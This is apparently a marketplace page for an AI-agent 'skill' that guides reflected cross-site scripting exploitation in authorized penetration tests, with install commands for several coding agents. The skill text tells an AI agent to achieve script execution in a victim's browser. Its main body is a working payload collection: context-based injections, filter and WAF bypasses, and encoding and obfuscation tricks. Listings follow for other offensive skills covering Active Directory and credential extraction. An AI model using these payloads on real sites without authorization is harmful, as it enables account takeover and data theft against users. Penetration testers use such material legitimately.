acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner,…
Guide reflected XSS exploitation during authorized penetration testing.
Claude Code
$ npx -y skills add blacklanternsecurity/red-run --skill xss-reflected --agent claude-code
Codex
$ npx skills add blacklanternsecurity/red-run --skill xss-reflected -a codex -y
Cursor
$ npx skills add blacklanternsecurity/red-run --skill xss-reflected -a cursor -y
Gemini CLI
$ npx skills add blacklanternsecurity/red-run --skill xss-reflected -a gemini-cli -y
GitHub Copilot
$ npx skills add blacklanternsecurity/red-run --skill xss-reflected -a github-copilot -y
OpenCode
$ npx skills add blacklanternsecurity/red-run --skill xss-reflected -a opencode -y
Windsurf
$ npx skills add blacklanternsecurity/red-run --skill xss-reflected -a windsurf -y
name: xss-reflected description: > Guide reflected XSS exploitation during authorized penetration testing. keywords: - reflected XSS - XSS filter bypass - WAF bypass XSS - CSP bypass - payload reflected in page - input echoed in response - script injection - HTML injection tools: - burpsuite - dalfox - XSStrike opsec: low
You are helping a penetration tester exploit reflected cross-site scripting. The target application echoes user input in the HTTP response without proper sanitization. Your job is to achieve JavaScript execution in the victim's browser. All testing is under explicit written authorization.
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
Your return summary must include:
control over URL parameters, headers, and encoding
`document.querySelector('img#xss-test')` to verify DOM changes from payload)
If not already provided, determine: 1. **Reflection point** — URL, parameter, request method 2. **Reflection context** — where does the input land in the HTML? 3. **Existing filters** — what characters/strings are blocked or encoded?
Skip if context was already provided.
The payload depends entirely on where the input lands. Inject a canary string like `xss<>"'` and examine where it appears in the response.
| Context | Example | Strategy | |---|---|---| | Between HTML tags | `<div>REFLECTED</div>` | Inject new tags: `<script>`, `<img>`, `<svg>` | | Inside an HTML attribute | `<input value="REFLECTED">` | Break out of attribute: `"onmouseover=alert(1)` or `"><script>` | | Inside a `href`/`src` | `<a href="REFLECTED">` | Use `javascript:` wrapper | | Inside `<script>` block | `var x = "REFLECTED";` | Break out of string: `";alert(1)//` or `'-alert(1)-'` | | Inside HTML comment | `<!-- REFLECTED -->` | Close comment: `--><script>alert(1)</script>` | | Inside `<style>` / CSS | `color: REFLECTED` | Use `</style><script>alert(1)</script>` |
Try simple payloads first — escalate complexity only if blocked.
**Between HTML tags:**
<script>alert(document.domain)</script> <img src=x onerror=alert(document.domain)> <svg onload=alert(document.domain)> <details open ontoggle=alert(document.domain)> <body onload=alert(document.domain)>
**Breaking out of attributes:**
"><script>alert(document.domain)</script> " autofocus onfocus=alert(document.domain) x=" '><img src=x onerror=alert(document.domain)>
**Inside JavaScript context:**
";alert(document.domain)// '-alert(document.domain)-' \';alert(document.domain)// </script><script>alert(document.domain)</script>
**Inside href/src (javascript: wrapper):**
javascript:alert(document.domain) javascript://%0aalert(document.domain)
**Inside hidden inputs:**
" accesskey="X" onclick="alert(document.domain) " oncontentvisibilityautostatechange="alert(1)" style="content-visibility:auto
When basic payloads are blocked, use these bypass techniques.
<!-- Case variation --> <ScRiPt>alert(1)</sCrIpT> <IMG SRC=x ONERROR=alert(1)> <!-- Tag with extra attributes --> <script x>alert(1)</script y> <!-- Less common tags --> <details/open/ontoggle=alert(1)> <video src=_ onloadstart=alert(1)> <audio src onloadstart=alert(1)> <marquee onstart=alert(1)> <meter value=2 min=0 max=10 onmouseover=alert(1)> <!-- Nested/broken tags --> <scr<script>ipt>alert(1)</scr<script>ipt>
alert`1`
onerror=alert;throw 1
{onerror=alert}throw 1
setTimeout`alert\u0028document.domain\u0029`String.fromCharCode(88,83,83) /XSS/.source
window['alert'](document['domain'])
eval(atob("YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="))<svg/onload=alert(1)> <img/src=x/onerror=alert(1)>
<!-- HTML entity encoding -->
alert(1)
<!-- Unicode escapes in JS -->
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
<!-- Hex/octal in JS strings -->
eval('\x61lert(1)')
<!-- URL encoding in href -->
javascript:%61lert(1)
java%0ascript:alert(1)
java%09script:alert(1)When the app uppercases your input:
<IMG SRC=1 ONERROR=alert(1)>
Per-WAF techniques when application-level filters pass
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner,…
Enumerates Active Directory domains and maps attack surface for penetration testing.
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute…
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL →…
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak…
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse.…
Use for authorized security assessment of REST, GraphQL, WebSocket, or SOAP APIs, including discovery, authentication,…
Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys)…
Clean and finalize authorized natural-language text intended for readers by auditing suspicious invisible Unicode and rewriting…